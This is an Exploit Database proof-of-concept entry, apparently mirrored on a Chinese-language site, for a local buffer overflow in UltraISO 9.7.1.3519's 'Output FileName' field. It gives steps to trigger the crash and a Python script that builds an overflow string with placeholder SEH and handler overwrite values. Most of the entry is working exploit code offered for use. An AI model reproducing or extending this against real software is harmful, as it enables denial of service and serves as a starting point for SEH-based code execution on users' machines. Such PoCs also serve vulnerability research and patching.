UltraISO 9.7.1.3519 – ‘Output FileName’ Denial of Service (PoC)

• Exploit Database
• 14 阅读

• 作者： Francisco Ramirez
  日期： 2018-12-14
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45996/

• # Exploit Title: UltraISO 9.7.1.3519 - 'Output FileName' Denial of Service (PoC) and Pointer to next SEH and SE handler records overwrite
  # Discovery by: Francisco Ramirez
  # Discovery Date: 2018-12-14
  # Vendor Homepage: https://www.ultraiso.com/
  # Software Link : https://www.ultraiso.com/download.html
  # Tested Version: 9.7.1.3519
  # Tested on: Windows 10 Pro - 64 bit
  # Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
   
  # Steps to Produce the Crash: 
  # 1.- Run python code : python UltraISO_9.7.1.3519.py
  # 2.- Open UltraISO_9.7.1.3519.txt and copy content to clipboard
  # 3.- Open UltraISO_9.7.1.3519
  # 4.- In the Window select 'Tools' > 'Make CD/DVD Image' 
  # 5.- In the field'Output FileName' remove the default path.
  # 6.- Paste the content of UltraISO_9.7.1.3519.txt into the field: 'Output FileName'
  # 7.- Click 'Make' and you will see a crash.
   
  #!/usr/bin/env python
  
  a_letters = "\x41" * 304
  seRecord = "\x42" * 4
  sehRecord = "\x43" * 4
  buffer = a_letters + seRecord + sehRecord
  f = open ("UltraISO_9.7.1.3519.txt", "w")
  f.write(buffer)
  f.close()